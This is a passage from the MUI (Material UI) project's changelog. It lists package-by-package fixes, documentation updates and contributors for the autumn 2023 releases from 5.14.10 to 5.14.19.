documentation improvements.\n\n### `@mui/material-next@6.0.0-alpha.112`\n\n- [Menu] Enable again the usage of the autoFocus prop (#39960) @mnajdova\n- [ProgressIndicator] Apply MD3 style to `CircularProgress` (#39825) @lhilgert9\n\n### Docs\n\n- Remove outdated showcase (#40063) @oliviertassinari\n- Support yaml as prism language (#40044) @Janpot\n- [material-ui] Fix SearchAppBar width on `sm` screens (#40049) @DiegoAndai\n- [material-ui] Update the basic Grid section copy (#40035) @REX500\n- [material-ui] Add a react-admin example project (#39972) @fzaninotto\n- [material-ui][TextField] Add a performance section (#39692) @anle9650\n- [material-ui][tabs] Refine scrollable tabs description (#40037) @zanivan\n- [system] Fix typo on the CSS theme variables page (#40040) @caweidmann\n\n### Core\n\n- [blog] Fix scrollbar on mobile (#40057) @oliviertassinari\n- [blog] Fix link to charts getting started page (#40043) @alexfauquette\n- [docs-infra] Simplify CSS classes extraction in API docs generator (#39808) @michaldudak\n\nAll contributors of this release in alphabetical order: @alexfauquette, @anle9650, @caweidmann, @danilo-leal, @DiegoAndai, @fzaninotto, @Janpot, @lhilgert9, @michaldudak, @mnajdova, @oliviertassinari, @REX500, @samuelsycamore, @zanivan\n\n## 5.14.19\n\n<!-- generated comparing v5.14.18..master -->\n\n_Nov 29, 2023_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🐛 Fix Material UI Autocomplete behavior when there are duplicate labels (#36426) @islandryu\n- 🚀 Added Material You Linear Progress to `material-next` package (#39807) @lhilgert9\n\n### `@mui/material@5.14.19`\n\n- [Autocomplete] Fix behavior when there are duplicate labels (#36426) @islandryu\n- [Box] Added boxClasses (#39889) @sadik-malik\n- [FilledInput] Fix slot props deepmerge order (#38922) @dhaub-exelixis\n- [Select] Add id to hidden input element (#39414) @DarhkVoyd\n- [Select] Remove unnecessary picking of `onChange` type from SelectInputProps (#39891) @ZeeshanTamboli\n\n### `@mui/base@5.0.0-beta.25`\n\n- [Menu] Fix navigation of items when 1st item is disabled (#39828) @sai6855\n- [Modal] Refine demos (#39824) @zanivan\n- [NumberInput] Implement `numberInputReducer` (#38723) @mj12albert\n- [useNumberInput] Fix change handlers passed through slotProps (#39407) @mj12albert\n\n### `@mui/joy@5.0.0-beta.16`\n\n- [Box] Added boxClasses (#39895) @sadik-malik\n\n### `@mui/system@5.14.19`\n\n- [Box] Added boxClasses (#39896) @sadik-malik\n- Add outlineColor to defaultSxConfig (#39962) @brijeshb42\n\n### `@mui/types@7.2.10`\n\n- Add `PartiallyRequired` type (#39939) @lhilgert9\n\n### `@mui/material-next@6.0.0-alpha.111`\n\n- [ProgressIndicator] Apply MD3 style to `LinearProgress` (#39807) @lhilgert9\n- [FormHelperText] Add FormHelperText component (#39503) @mj12albert\n- [IconButton] Copy IconButton to material-next (#39945) @mj12albert\n- [Switch] Copy `Switch` to material next (#39887) @lhilgert9\n\n### Docs\n\n- [material-ui] Fix theme prop in v5 migration guide (#39976) @sai6855\n- [base-ui] Improve Next.js Link docs (#39838) @oliviertassinari\n- [base-ui] Export Base UI theme in stylesheet (#39694) @mnajdova\n- [joy-ui] Fix the date min & max slot props values on the Input demo (#40018) @avikalpg\n- [joy-ui][ButtonGroup] Fix orientation prop description (#39876) @sai6855\n- [joy-ui] Update gif from the Dark Mode Optimization page (#39726) @danilo-leal\n- [joy-ui] Fix h1 template (#40017) @oliviertassinari\n- [joy-ui] Fix wrong product id @oliviertassinari\n- [joy-ui] Fixes in theme scoping documentation (#39899) @ZeeshanTamboli\n- [joy-ui] Refine the Email, Teams and Files templates (#39579) @zanivan\n- [joy-ui][templates] Fix layout shift on Profile template (#40022) @zanivan\n- [joy-ui][Templates] Update thumbnails (#39938) @zanivan\n- [material-next] Add contributing guide (#39944) @mj12albert\n- End v6 blogpost notification (#39879) @joserodolfofreitas\n- Fix nested CSS warning (#39932) @mnajdova\n- Make integration searchable (#39967) @oliviertassinari\n- Fix use of quote in markdown (#39953) @oliviertassinari\n- Show design links on Joy UI (#39955) @oliviertassinari\n- Restore Algolia results when searching for \"Figma\" (#39956) @oliviertassinari\n- Fix two tone icon dark mode color (#39868) @mnajdova\n\n### Core\n\n- Improve lerna's renovate package rules (#40029) @DiegoAndai\n- Downgrade lerna to 7.2.0 (#40026) @DiegoAndai\n- Rename OpenCollective @oliviertassinari\n- [docs-infra] Env variables should be string (#39991) @oliviertassinari\n- [Portal] Improve docs for container prop (#39180) @oliviertassinari\n- [website][docs] Update the product identifier menu and X page (#39832) @danilo-leal\n\nAll contributors of this release in alphabetical order: @avikalpg, @brijeshb42, @cherniavskii, @danilo-leal, @DarhkVoyd, @dhaub-exelixis, @DiegoAndai, @flaviendelangle, @islandryu, @joserodolfofreitas, @lhilgert9, @mj12albert, @mnajdova, @oliviertassinari, @sadik-malik, @sai6855, @zanivan, @ZeeshanTamboli\n\n## 5.14.18\n\n<!-- generated comparing v5.14.17..master -->\n\n_Nov 14, 2023_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 💫 Introduced new [Stepper](https://mui.com/joy-ui/react-stepper/) component in Joy UI (#39688) @siriwatknp\n- other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.14.18`\n\n- [Autocomplete] Add `defaultMuiPrevented` to onKeyDown type (#39820) @sai6855\n- [Autocomplete] Fix React key warning in Next.js (#39795) @mj12albert\n- [Checkbox] Asterisk placement aligned correctly (#39721) @axelbostrom\n- [Rating] Fix the hover highlighting for spaced icons (#39775) @ZeeshanTamboli\n- [TablePagination] Implement `slotProps` pattern for the actions and the select slots (#39353) @anle9650\n- [TextField] Fix padding on small filled multiline TextField (#39769) @mj12albert\n\n### `@mui/joy@5.0.0-beta.15`\n\n- [Stepper] Add new `Stepper` component (#39688) @siriwatknp\n- [Select] Fix displaying placeholder when multiple is true (#39806) @sai6855\n\n### `@mui/material-next@6.0.0-alpha.110`\n\n- [ButtonGroup] Copy `ButtonGroup` to material next (#39739) @lhilgert9\n- [ProgressIndicator] Change `CircularProgress` files to ts (#39791) @lhilgert9\n- [ProgressIndicator] Change `LinearProgress` files to ts (#39793) @lhilgert9\n- [ProgressIndicator] Copy `LinearProgress` to material next (#39779) @lhilgert9\n- [ProgressIndicator] Copy `CircularProgress` to material next (#39780) @lhilgert9\n- [TextField] Add FormLabel and InputLabel components (#39483) @mj12albert\n\n## Docs\n\n- [base-ui][NumberInput] Fix inconsistent demo component names (#39786) @mnajdova\n- [base-ui][Menu] Refine demos (#39823) @zanivan\n- [base-ui][Switch] Refine demos (#39822) @zanivan\n- [joy-ui] Fix API generation for Grid (#39861) @oliviertassinari\n- [joy-ui] Fix menu in color inversion header demo (#39785) @sai6855\n- [joy-ui] Change the design kit link on the Overview page (#39725) @danilo-leal\n- [joy-ui] Add `CssBaseline` to integration with Material UI page (#39790) @swillianc\n- [joy-ui][Tabs] Add wordBreak style to demo (#39821) @sai6855\n\n## Core\n\n- [blog] MUI X late v6 blog post (#39700) @joserodolfofreitas\n- [CHANGELOG] Correct the Joy UI version in the changelog (#39788) @michaldudak\n- [core] Remove legacy docs files (#39860) @oliviertassinari\n- [core] Fix GitHub title tag consistency @oliviertassinari\n- [core] Make the API docs builder configurable per project (#39772) @michaldudak\n- [docs] Fix the default theme viewer font family (#39782) @danilo-leal\n- [docs-infra] Fix hydration api (#39706) @oliviertassinari\n- [docs-infra] Adjust the website & docs footer (#39810) @danilo-leal\n- [docs-infra] Fix bug on API prop copy experience (#39707) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @anle9650, @axelbostrom, @danilo-leal, @joserodolfofreitas, @lhilgert9, @michaldudak, @mj12albert, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @swillianc, @zanivan, @ZeeshanTamboli\n\n## 5.14.17\n\n<!-- generated comparing v5.14.16..master -->\n\n_Nov 6, 2023_\n\nA big thanks to the 12 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.14.17`\n\n- [Dialog] Should not close until the IME is cancelled (#39713) @megos\n- [InputBase] Add `sx` type to `input` and `root` slot (#39569) @sai6855\n\n### `@mui/joy@5.0.0-beta.14`\n\n- [ModalDialog] Remove redundant code (#39719) @sai6855\n- [ToggleButtonGroup] Fix toggling button state when `Button` is not immediate children (#39571) @sai6855\n\n### `@mui/base@5.0.0-beta.23`\n\n- Make list components more reliable (#39380) @michaldudak\n\n### `@mui/material-next@6.0.0-alpha.109`\n\n- [InputBase] InputBase slotProps accepts sx type (#39714) @mj12albert\n- [OutlinedInput] Copy v5 OutlinedInput (#39698) @mj12albert\n\n### `@mui/lab@5.0.0-alpha.152`\n\n- [TreeView] Remove tree view import from @mui/lab (#39685) @alexfauquette\n\n### Docs\n\n- Update Taiwan country name in demos (#39729) @chiahao\n- Update release doc for unchanged packages (#39487) @brijeshb42\n- [joy-ui] Make code readable to set next color in color inversion demos (#39669) @ZeeshanTamboli\n- [material-ui] Remove numeric input workaround from TextField docs (#39629) @mj12albert\n- [material-ui] Add comment about code to be removed from Drawer demo (#39678) @samuelsycamore\n\n### Core\n\n- [docs-infra] Fix path bloat client-side (#39708) @oliviertassinari\n- [docs-infra] Render footer in SSR (#39710) @oliviertassinari\n- [docs-infra] Simplify footer (#39709) @oliviertassinari\n- [docs-infra] Fix dark theme color (#39720) @alexfauquette\n- [docs-infra] Remove the design feedback alert (#39691) @danilo-leal\n- [docs-infra] Bring back scroll gradient in API page with table (#39689) @alexfauquette\n- [docs-infra] Clarify the content of the ads @oliviertassinari\n- [docs-infra] Link to ScaffoldHub v2 @oliviertassinari\n- [docs-infra] Improve access to the component demos via the API page (#39690) @danilo-leal\n- [docs-infra] Add appropriate aria-label to docs buttons (#39638) @danilo-leal\n- [docs-infra] Fix crawler on API pages (#39490) @alexfauquette\n- [docs–infra] Small polish on API toggle (#39704) @oliviertassinari\n- [core] Speed up the CI by removing the second build (#39684) @michaldudak\n- [core][docs] Fix broken MUI System link in README.md (#39734) @samuelsycamore\n- [test] Fix flaky screenshot (#39711) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @brijeshb42, @chiahao, @danilo-leal, @hasdfa, @megos, @michaldudak, @mj12albert, @oliviertassinari, @sai6855, @samuelsycamore, @ZeeshanTamboli\n\n## 5.14.16\n\n<!-- generated comparing v5.14.15..master -->\n\n_Oct 31, 2023_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ New highly requested Joy UI component: [Snackbar](https://mui.com/joy-ui/react-snackbar) (#38801) @ZeeshanTamboli\n\n### `@mui/material@5.14.16`\n\n- Fix ownerstate being propagated to DOM node when using styled-components v6 (#39586) @mnajdova\n\n### `@mui/base@5.0.0-beta.22`\n\n- [Autocomplete] Standardize box shadow on demos (#39519) @zanivan\n- [useSelect] Support browser autofill (#39595) @DiegoAndai\n- [base-ui] Fix mergeSlotProps className join order (#39616) @mj12albert\n\n### `@mui/joy@5.0.0-beta.13`\n\n- [Accordion] Add type button to accordion\n- [Card] Fix CardOverflow in nested cards (#39668) @siriwatknp summary (#39532) @Popppins\n- [Menu] Fix closing of listbox in `MenuList` demo (#39459) @sai6855\n- [Progress] Revamp Linear and Circular progress variants (#39492) @zanivan\n- [Select] Support selection of `multiple` options (#39454) @sai6855\n- [Textarea] Add ref usage instructions (#39615) @danilo-leal\n- Fix sticky hover media query issue on mobile (#37467) @gitstart\n- Add Snackbar component (#38801) @ZeeshanTamboli\n\n### `@mui/material-next@6.0.0-alpha.108`\n\n- [theme] Update Material You typescale tokens (#39514) @mj12albert\n\n### Docs\n\n- Fix 301 link to Primer design system @oliviertassinari\n- [joy-ui] Revise the CSS vars page (#39335) @danilo-leal\n- [joy-ui] Add docs for changing styles based on states (#39597) @siriwatknp\n- [joy-ui] Fix wrong messages (#39602) @siriwatknp\n- [material-ui] Include link to bundler how-to for Styled Components users (#39620) @jcoyle37\n- [material-ui] Improve Dialog demos (#39642) @ZeeshanTamboli\n- [material-ui] Add stray design fine-tuning to the example collection (#39581) @danilo-leal\n- [system] Clean up `@mui/styles` docs and discourage users from installing it (#39644) @samuelsycamore\n- [examples] Upgrade Remix to v2 (#39229) @Nkzn\n- [examples][material-ui] Remove hardcoded `color=\"black\"` from Next.js App Router layout (#39577) @samuelsycamore\n\n### Core\n\n- [core] Setup vale for enforcing style guides (#39633) @alexfauquette\n- [core] Remove unused use client (#38967) @oliviertassinari\n- [core] Remove duplicate export (#39346) @oliviertassinari\n- [core] Remove not used `@types/loader-utils` package from `zero-next-plugin` (#39609) @ZeeshanTamboli\n- [docs-infra] Add meta charset in codesandbox examples (#39424) @Janpot\n- [docs-infra] Fix settings drawer accessibility issues (#39589) @emamoah\n\nAll contributors of this release in alphabetical order: @alexfauquette, @Best-Sardar, @DanailH, @danilo-leal, @DiegoAndai, @emamoah, @gitstart, @Janpot, @jcoyle37, @mj12albert, @mnajdova, @Nkzn, @oliviertassinari, @Popppins, @sai6855, @samuelsycamore, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.14.15\n\n<!-- generated comparing v5.14.14..master -->\n\n_Oct 24, 2023_\n\nA big thanks to the 17 contributors who made this release possible.\n\n### `@mui/material@5.14.15`\n\n- [Checkbox][Radio] Fix theme style overrides not working for different sizes (#39377) @gitstart\n- [InputLabel] InputLabel supports ownerState.focused for styleOverrides (#39470) @mj12albert\n- [ToggleButton] Add `fullWidth` to `toggleButtonClasses` and `toggleButtonGroupClasses` (#39536) @Semigradsky\n\n### `@mui/base@5.0.0-beta.21`\n\n- [useAutocomplete] Correct keyboard navigation with multiple disabled options (#38788) @VadimZvf\n- [Select] Standardize box shadow on demos (#39509) @zanivan\n- [Slider] Refine demos (#39526) @zanivan\n- [Input] Update and port additional tests from material-ui (#39584) @mj12albert\n\n### `@mui/material-next@6.0.0-alpha.107`\n\n- [FilledInput] Add FilledInput component (#39307) @mj12albert\n- [InputAdornment] Fix unstable_capitalize import (#39510) @DiegoAndai\n- [Snackbar] copy files to mui-material-next (#39232) @Best-Sardar\n- [Menu] Use useMenu hook (#38934) @mnajdova\n\n### `@mui/joy@5.0.0-beta.12`\n\n- [Button] Fix button size being a decorator (#39529) @siriwatknp\n- [CardOverflow] Remove conditional CSS to support Next.js App dir (#39101) @siriwatknp\n- [Link] Apply `userSelect: none` only when it's a button (#39486) @mwskwong\n\n### `@mui/lab@5.0.0-alpha.150`\n\n- Update peer dep of @mui/material (#39398) @brijeshb42\n\n### `@pigment-css/react@0.0.1-alpha.0`\n\n- Implement typings for public runtime API (#39215) @brijeshb42\n\n### `@mui/zero-vite-plugin@0.0.1-alpha.0`\n\n- Modify plugin to transform node_modules (#39517) @brijeshb42\n\n### Docs\n\n- [base-ui] Standardize grey palette across demos (#39504) @zanivan\n- [base-ui] Overall demos design review (#38820) @zanivan\n- [joy-ui] Adjust the responsiveness of the template card (#39534) @danilo-leal\n- [material-ui] Typo fixes in overview page (#39540) @Evan151\n- [material-ui] Add stray design tweaks to the templates collection (#39583) @danilo-leal\n- [system] Revise the Box page (#39159) @danilo-leal\n- Fix git diff format @oliviertassinari\n- [I10n] Add Norwegian (nynorsk) (nn-NO) locale (#39481) @hjalti-lifekeys\n- [l10n] Fix double space typo in ar-EG @oliviertassinari\n- [I10n] Additions to Icelandic (is-IS) locale (#39480) @hjalti-lifekeys\n\n### Core\n\n- [core] Replace a `useCallback` by `useRef` in useEventCallback (#39078) @romgrk\n- [docs-infra] Prevent docs crash (#39214) @alexfauquette\n- [docs-infra] Fix no-op autoprefixer warning (#39385) @oliviertassinari\n- [docs-infra] Refine the API page design (#39520) @alexfauquette\n- [docs-infra] Fix cut-off sponsors (#39572) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @Best-Sardar, @brijeshb42, @danilo-leal, @DiegoAndai, @Evan151, @gitstart, @hjalti-lifekeys, @mj12albert, @mnajdova, @mwskwong, @oliviertassinari, @romgrk, @Semigradsky, @siriwatknp, @VadimZvf, @zanivan\n\n## 5.14.14\n\n<!-- generated comparing v5.14.13..master -->\n\n_Oct 17, 2023_\n\nA big thanks to the 24 contributors who made this release possible. Here are some highlights ✨:\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.14.14`\n\n- [material-ui][AppBar] Support all default palette colors in TypeScript (#39389) @BreakBB\n- [material-ui][AvatarGroup] Add `renderSurplus` prop (#39283) @uuxxx\n- [material-ui][Box] Fix system properties has incorrect `Theme` interface when applied directly (#39404) @Semigradsky\n- [material-ui][Pagination] Update `type` parameter of `getItemAriaLabel` prop (#39390) @Simer13\n- [material][tab] Show/hide scroll buttons for dynamically added children (#39415) @brijeshb42\n\n### `@mui/base@5.0.0-beta.20`\n\n- [base-ui][Menu] Do not reopen the menu after clicking on a trigger in Safari (#39393) @michaldudak\n\n### `@mui/material-next@6.0.0-alpha.106`\n\n- [Divider][material-next] Add Divider component (#39179) @Best-Sardar\n\n### `@mui/joy@5.0.0-beta.11`\n\n- [joy-ui][List] Add the `marker` prop (#39313) @siriwatknp\n- [joy-ui][Skeleton] Fix semi-transparent scenario when with surface components and color inversion (#39400) @TheNatkat\n- [joy-ui][Textarea] Fix focus ring for error state (#39391) @vineetjk\n\n### `@mui/icons-material@5.14.14`\n\n- [icons] Fix VoiceChatOutlined showing the wrong icon (#39418) @devuser200\n\n### `@mui/system@5.14.14`\n\n- [mui-system][style] bug fix for style value check color in nullable object (#39457) @DarhkVoyd\n\n### `@mui/styled-engine-sc@6.0.0-alpha.2`\n\n- [styled-engine-sc] Fix TS issues because of missing types (#39395) @mnajdova\n\n### Docs\n\n- [docs][base-ui] Renaming demos to BaseXxx (#39104) @christophermorin\n- [docs] Accessibility in Base UI (#39264) @michaldudak\n- [docs] Fix 301 redirection @oliviertassinari\n- [docs] Improve Base UI table of contents for APIs (#39412) @ZeeshanTamboli\n- [docs] Adjust design kits-related content (#39367) @danilo-leal\n- [docs] Revise the Contributing Guide (#39190) @samuelsycamore\n- [docs][joy-ui] Fix row hover prop name in the Table page (#39431) @adrienbrault\n- [docs][joy-ui] Fix color inversion demos (#39403) @danilo-leal\n- [docs][material-ui] Remove irrelevant TODO from Snackbar demo (#39396) @ZeeshanTamboli\n- [docs][material-ui][Table] Bug in \"Sorting & Selecting\" demo (#39426) @codewithrabeeh\n- [docs][joy-ui][typography] Update docs after lineHeight changes (#39366) @zanivan\n\n### Core\n\n- [core] Fix multiple typos across the repo (#39422) @parikshitadhikari\n- [docs-infra] Add refinements to the API content design (#39425) @danilo-leal\n- [docs-infra] Add a min height to the layout component (#39416) @danilo-leal\n- [docs-infra] Prevent horizontal scroll in the TOC (#39417) @danilo-leal\n- [docs-infra] Add a collapsible list & table views to the API content display (#38265) @alexfauquette\n- [docs-infra] Adjust the `kbd` tag styles (#39397) @danilo-leal\n- [docs-infra] Fix strong style regression (#39384) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @adrienbrault, @alexfauquette, @Best-Sardar, @BreakBB, @brijeshb42, @chhawinder, @christophermorin, @codewithrabeeh, @danilo-leal, @DarhkVoyd, @devuser200, @michaldudak, @mnajdova, @oliviertassinari, @parikshitadhikari, @samuelsycamore, @Semigradsky, @Simer13, @siriwatknp, @TheNatkat, @uuxxx, @vineetjk, @zanivan, @ZeeshanTamboli\n\n## 5.14.13\n\n<!-- generated comparing v5.14.12..master -->\n\n_Oct 10, 2023_\n\nA big thanks to the 22 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added support for `styled-components` v6 (#39042) @mnajdova\n\n### `@mui/material@5.14.13`\n\n- [Checkbox] Fix checkbox hover bg with extendTheme (#39319) @brijeshb42\n- [Chip] Outlined Chip variant is wider than the Filled counterpart (#39342) @chirag3003\n- [Select] Add notice about select's a11y improvement on v5.14.12 changelog (#39310) @DiegoAndai\n- [Typography] Color prop check for primitive type (#39071) @DarhkVoyd\n- [Pagination] Fix background color on hover and keyboard focus when using CSS theme variables (#39220) @ValkonX33\n- [Popper] Add missing `styleOverrides` Popper type in theme (#39154) @axelbostrom\n- [Slider] Support all default palette colors in TypeScript (#39058) @gugudwt\n\n### `@mui/base@5.0.0-beta.19`\n\n- [Menu] Add the anchor prop (#39297) @michaldudak\n\n### `@mui/material-next@6.0.0-alpha.105`\n\n- [Menu] Copy v5 Menu components (#39301) @mnajdova\n\n### `@mui/joy@5.0.0-beta.10`\n\n- [Autocomplete] Add `type=button` to clear button (#39263) @brijeshb42\n- [Button] Fix the text wrap issue (#38696) @atharva3333\n- [Drawer] Apply color inversion to content slot instead (#39312) @siriwatknp\n- [Switch] Fix missing class name (#39327) @Bestwebdesign\n\n### `@mui/styled-engine-sc@6.0.0-alpha.1`\n\n- [system] Add support for `styled-components` v6 (#39042) @mnajdova\n\n### Docs\n\n- [joy-ui] Adjust the templates page card design (#39369) @danilo-leal\n- Rename the Data Grid \"Quick filter\" to \"Search\" (#37724) @alexfauquette\n- Remove obsolete translations (#39221) @mbrookes\n- Update link to add custom color in palette (#39359) @ZeeshanTamboli\n- Denser code demo @oliviertassinari\n- Set up MD3 experiments pages (#39323) @mj12albert\n- [Drawer] Fix right anchored persistent drawer intercepts click when it is closed (#39318) @ZeeshanTamboli\n- [joy-ui] Revise the Color Inversion page (#39306) @danilo-leal\n- [joy-ui] Remove redundant `error` prop from input validation demo (#39280) @sai6855\n- [material-ui] Rename themed components doc, fix typos (#39368) @samuelsycamore\n- [material-ui] Adjust the Material You Chip section (#39325) @danilo-leal\n- [system] Add documentation on how to augment custom theme types for the `sx` prop callback (#39259) @3xp10it3r\n- [joy-ui][Input] Add debounce input demo (#39300) @sai6855\n\n### Core\n\n- [docs-infra] Improve the open diamond sponsor spot callout (#39332) @danilo-leal\n- [docs-infra] Fix CodeSandbox download issue (#39317) @ARJ2160\n- [docs-infra] Remove overflow: hidden for demo gradient bg (#39225) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @3xp10it3r, @alexfauquette, @ARJ2160, @atharva3333, @axelbostrom, @Bestwebdesign, @brijeshb42, @chirag3003, @danilo-leal, @DarhkVoyd, @DiegoAndai, @gugudwt, @mbrookes, @michaldudak, @mj12albert, @mnajdova, @oliviertassinari, @sai6855, @samuelsycamore, @siriwatknp, @ValkonX33, @ZeeshanTamboli\n\n## 5.14.12\n\n<!-- generated comparing v5.14.11..master -->\n\n_Oct 3, 2023_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎨 Introduced color inversion utilities to Joy UI (#38916) @siriwatknp\n- 🚀 Added Chip and related TextField components to Material You @DiegoAndai, @mj12albert\n- 🏗️ Improve the Select's component a11y by adding the combobox role and aria-controls attribute (#38785) @xulingzhihou. If your tests require selecting the trigger element by the \"button\" role, then you'll have to change it to use the \"combobox\" role instead\n\n### `@mui/material@5.14.12`\n\n- [DialogActions] Apply margin-left when children is not of `button` type (#39189) @sai6855\n- [Select] Improve a11y by adding combobox role and aria-controls attribute (#38785) @xulingzhihou\n- [Select] Fix MenuProps slotProps forwarding (#39177) @DiegoAndai\n- [TextField] Polish types in Textfield demo (#39140) @sai6855\n- [ButtonGroup] Fix rendering with conditional elements (#38989) @ZeeshanTamboli\n\n### `@mui/system@5.14.12`\n\n- [system] Add support for `variants` in the styled() util (#39073) @mnajdova\n- [Box] Add missing logical spacing property types (#39169) @Semigradsky\n\n### `@mui/base@5.0.0-beta.18`\n\n- [useSlider] Align externalProps handling (#38854) @mj12albert\n- [useTabs] Align external props handling for useTab/useTabPanel/useTabsList (#39037) @mj12albert\n- [test] Fix import paths in useTab tests (#39291) @mj12albert\n\n### `@mui/material-next@6.0.0-alpha.104`\n\n- [Chip] Add Material You Chip component (#38927) @DiegoAndai\n- [Divider] Copy v5 Divider (#39197) @mj12albert\n- [FilledInput] Copy v5 FilledInput (#39040) @mj12albert\n- [FormControl] Add FormControl component (#39032) @mj12albert\n- [Select] Copy Select files from v5 (#39188) @DiegoAndai\n- [TextField] Copy v5 TextField's inner components (#39166) @mj12albert\n\n### `@mui/joy@5.0.0-beta.9`\n\n- Introduce color inversion utilities (#38916) @siriwatknp\n- Replace margin with `gap` property (#39147) @siriwatknp\n- [CssBaseline] use Joy `GlobalStyles` (#39278) @siriwatknp\n- [Drawer] Apply content styles from theme to content slot (#39199) @sai6855\n- [List] Add gap and missing active styles (#39146) @siriwatknp\n- [Switch] Slight adjustments to the design (#39276) @danilo-leal\n\n### Docs\n\n- [docs] Update Autocomplete demo for React 18 (#39162) @oliviertassinari\n- [docs-infra] Tweak feedback footer section design (#36556) @danilo-leal\n- [docs-infra] Improve code syntax highlight (#39181) @oliviertassinari\n- [docs][base] Add Tailwind CSS + plain CSS demo on the TextArea page (#39046) @alisasanib\n- [docs][base-ui] Fix style for root div of multiline input (#39182) @ttlpta\n- [docs][base-ui] Improve Select's country select demo (#38983) @oliviertassinari\n- [docs][joy-ui] Add scrollable tabs example (#39260) @siriwatknp\n- [docs][joy-ui] Match `Autocomplete` github label demo to actual github label dropdown (#39228) @sai6855\n- [docs][joy-ui] Refine the Rental dashboard template (#39059) @zanivan\n- [docs][joy-ui] Removed incomplete sentence in the Aspect Ratio page (#39227) @Erik-McKelvey\n- [docs][joy-ui] Fix typo in the Accordion page (#39226) @Erik-McKelvey\n- [docs][joy-ui] Update and standardize template Sidemenus (#39271) @zanivan\n- [docs][joy-ui] Add a roadmap page (#39163) @danilo-leal\n- [docs][material-ui] Replace `Box` with `Stack` in applicable demos (#39174) @sai6855\n- [docs][material-ui] Add small polish to the Templates page (#39224) @danilo-leal\n- [docs][material-ui] Small revision to the Icons page (#38840) @danilo-leal\n\n### Core\n\n- Add next lint config to ESLint (#39183) @Janpot\n- [core] Update ESLint rules (#39178) @romgrk\n- [core] Fix Greg GitHub slug @oliviertassinari\n- [core] Priority Support casing normalization @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @brijeshb42, @DanailH, @danilo-leal, @DiegoAndai, @Erik-McKelvey, @Janpot, @mj12albert, @mnajdova, @oliviertassinari, @romgrk, @sai6855, @Semigradsky, @siriwatknp, @xulingzhihou, @zanivan, @ZeeshanTamboli\n\n## 5.14.11\n\n<!-- generated comparing v5.14.10..master -->\n\n_Sep 26, 2023_\n\nA big thanks to the 23 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.14.11`\n\n- [Autocomplete] Re-export `AutocompleteValue` to make it available from path import (#38638) @vadimka123\n- [Select][material-ui] Missing aria-multiselectable attribute on multiple Select component (#38855) @gitstart\n- [l10n] labelDisplayedRows is added for trTR localization (#39056) @tebersefa\n\n### `@mui/utils@5.14.11`\n\n- Support RSC in `isMuiElement` util (#38129) @sai6855\n\n### `@mui/base@5.0.0-beta.17`\n\n- [NumberInput] Support adornments (#38900) @anle9650\n- [Menu] Align external props handling for useMenu/MenuButton/MenuItem (#38946) @mj12albert\n- [Select] Align external props handling (#39038) @mj12albert\n- [TextareaAutosize] Simplify logic and add test (#38728) @oliviertassinari\n\n### `@mui/joy@5.0.0-beta.8`\n\n- [Button] Fix disabled button styling when component prop is provided (#38996) @sai6855\n- [Drawer] Add missing `JoyDrawer` in theme components (#39074) @Studio384\n\n### `@mui/material-next@6.0.0-alpha.103`\n\n- [FormControl] Copy v5 FormControl (#39039) @mj12albert\n\n### `@mui/lab@5.0.0-alpha.146`\n\n- [TreeView] Fix JSDoc comments in TreeView and TreeItem (#38874) @jergason\n\n### Docs\n\n- Improve focus trap demo (#38985) @oliviertassinari\n- Add Tailwind CSS + plain CSS demo on the Tabs page (#39000) @alisasanib\n- Improve the default theme viewer design (#39049) @danilo-leal\n- Add live demo with CssVarsProvider (#38792) @oliviertassinari\n- Fix wrong hash on Card's page (#39151) @mnajdova\n- Revise the Drawer page (#38988) @danilo-leal\n- Simplify the button's loading indicator demo (#39082) @danilo-leal\n- Fix the Templates link on the Overview page (#39086) @danilo-leal\n- Refine the Sign in template (#38942) @zanivan\n- Add `use-count-up` integration with the Circular Progress (#38952) @anon-phantom\n\n### Core\n\n- [blog] Add a company values blog post (#38802) @mikailaread\n- [core] Downgrade lerna to 7.2.0 (#39149) @michaldudak\n- [core] Simplify docs feedback interaction (#39075) @alexfauquette\n- [core] Improve ref type definition (#38903) @oliviertassinari\n- [core] Simplify career (#39112) @oliviertassinari\n- [core] Update Babel types along with source packages (#39070) @michaldudak\n- [core] Add a comment to explain `useEnhancedEffect` (#39035) @Janpot\n- [docs-infra] Fix code removal in table of content (#39165) @alexfauquette\n- [docs-infra] Improve callouts design (#39084) @danilo-leal\n- [docs-infra] Fix key warning in Base UI Slider slots section (#38954) @ZeeshanTamboli\n- [docs-infra] Fix error when redirecting to the root page (#38451) @maheshguntur\n- [docs-infra] Open demo crash in the right repository (#39006) @oliviertassinari\n- [test] Split the test package (#39061) @michaldudak\n\nAll contributors of this release in alphabetical order: @alexfauquette, @alisasanib, @anle9650, @anon-phantom, @DanailH, @danilo-leal, @DiegoAndai, @flaviendelangle, @gitstart, @Janpot, @jergason, @maheshguntur, @michaldudak, @mikailaread, @mj12albert, @mnajdova, @oliviertassinari, @sai6855, @Studio384, @tebersefa, @vadimka123, @zanivan, @ZeeshanTamboli\n\n## 5.14.10\n\n<!-- generated comparing v5.14.9..master -->\n\n_Sep 18, 2023_\n\nA big thanks to the 16 contributors who made this release possible. This release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.14.10`\n\n- [Chip] Add cursor CSS property reset (#38984) @DiegoAndai\n\n### `@mui/utils@5.14.10`\n\n- [utils] Move @types/prop-types back to dependencies (#39030) @Methuselah96\n\n### `@mui/base@5.0.0-beta.16`\n\n- [NumberInput][base-ui] Warn when changing control mode with `useControlled` 